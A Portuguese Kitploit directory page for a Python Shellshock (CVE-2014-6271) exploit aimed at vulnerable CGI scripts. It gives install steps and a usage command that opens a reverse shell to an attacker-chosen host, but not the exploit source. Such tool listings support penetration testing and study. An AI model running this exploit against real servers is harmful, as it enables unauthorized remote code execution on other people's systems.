Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Shellshock_vuln_Exploit — Exploração em Python para CVE-2014-6271 (Shellshock) visando scripts CGI vulneráveis com manipulador de shell reverso, suportando HTTP/HTTPS, caminhos personalizados e proxy. | Kitploit
Ferramentas/GitHubGitHub/knightc0de/shellshock_vuln_exploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubknightc0de/shellshock_vuln_exploit

Shellshock_vuln_Exploit

Exploração em Python para CVE-2014-6271 (Shellshock) visando scripts CGI vulneráveis com manipulador de shell reverso, suportando HTTP/HTTPS, caminhos personalizados e proxy.

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🚨 Exploit RCE Shellshock (CVE-2014-6271)

Este é um exploit em Python para a vulnerabilidade Shellshock (CVE-2014-6271), que afeta o GNU Bash. O exploit tem como alvo scripts CGI em servidores web vulneráveis e estabelece um reverse shell para a máquina do atacante.

ID do CVE

CVE-2014-6271

Aviso Legal

Esta ferramenta destina-se apenas a fins educacionais e éticos.

Funcionalidades

  • Explora scripts CGI vulneráveis usando Shellshock
  • Handler de reverse shell
  • Suporta:
    • HTTP e HTTPS
    • Caminhos CGI personalizados
    • suporte a proxy
  • Shell interativo em caso de sucesso

Informação do CVE

  • CVE: CVE-2014-6271
  • Vulnerabilidade: Injeção de comandos em variáveis de ambiente do GNU Bash
  • Impacto: Execução Remota de Código (RCE) através de cabeçalhos maliciosos em aplicações CGI

Requisitos

  • Python 3.x
  • pwntools
  • requests

Instalação

root@kitploit:~
sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py

Exemplo de Uso

root@kitploit:~
python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cg
Baixar ferramenta